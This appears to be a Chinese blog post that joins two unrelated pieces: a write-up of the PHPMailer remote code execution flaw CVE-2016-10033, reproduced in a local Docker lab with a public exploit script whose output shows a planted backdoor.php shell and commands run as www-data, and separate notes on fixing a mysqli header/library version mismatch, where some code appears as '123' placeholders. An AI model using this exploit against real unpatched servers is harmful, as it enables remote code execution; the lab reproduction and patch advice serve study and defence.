漏洞描述:
GitHub上面形容PHPMailer“可能是全球PHP发送邮件最流行的代码。亦被诸多开源项目所采用,包括WordPress、Drupal、1CRM、Joomla!等”。所以这个漏洞影响范围还是比较广的,漏洞级别也为Critical最高级。漏洞编号为CVE-2016-10033。
PHPmailer的项目地址:https://github.com/PHPMailer/PHPMailer
在这个包含漏洞的PHPMailer(PHPMailer < 5.2.18)版本中,发件人的电子邮件地址在传输时没有转义为shell命令。如此一来,攻击者就可以在发件人的电子邮件中增加shell命令以便在目标机器或网站上执行恶意代码。

POC:

漏洞复现:
参考:https://github.com/opsxcq/exploit-CVE-2016-10033
安装docker:

[root@localhost /]# yum -y install docker-io
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
[root@localhost exploit-CVE-2016-10033-master]# ./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080

[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Running whoami
www-data
RemoteShell> [+] Running 

RemoteShell> id
[+] Running id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

 

影响范围:
PHPMailer < 5.2.18

漏洞修复:
升级到PHPMailer 5.2.18或更高版本。

参考文章:
http://bobao.360.cn/learning/detail/3347.html
https://github.com/opsxcq/exploit-CVE-2016-10033
https://www.exploit-db.com/exploits/40968/
http://www.freebuf.com/news/123945.html

PHP使用mysqli访问数据库发现报错
Warning: mysqli::mysqli(): Headers and client library minor version mismatch. Headers:50075 Library:50130 in /opt/web/webroot/wordsfilter/test/conn.php on line 12
查看phpinfo
Client API library version    5.1.30
Active Persistent Links    0
Inactive Persistent Links    0
Active Links    0
Client API header version    5.0.75
MYSQLI_SOCKET    /tmp/mysql.sock
因为Client API library version和Client API header version不一致导致。
PHP连接mysql需要mysql.h头文件。使用yum安装yum install mysql-devel
头文件默认在/usr/include/mysql/mysql.h
在php 5.3中

123

因为会尝试/usr /usr/local所以不指定位置也可以 直接–with-mysql
在php 5.4-5.6中

123

需要指定 –with-mysql=/usr
然后重新编译安装php即可,安装后
Client API library version    5.0.95
Active Persistent Links    0
Inactive Persistent Links    0
Active Links    0
Client API header version    5.0.95
MYSQLI_SOCKET    /var/lib/mysql/mysql.sock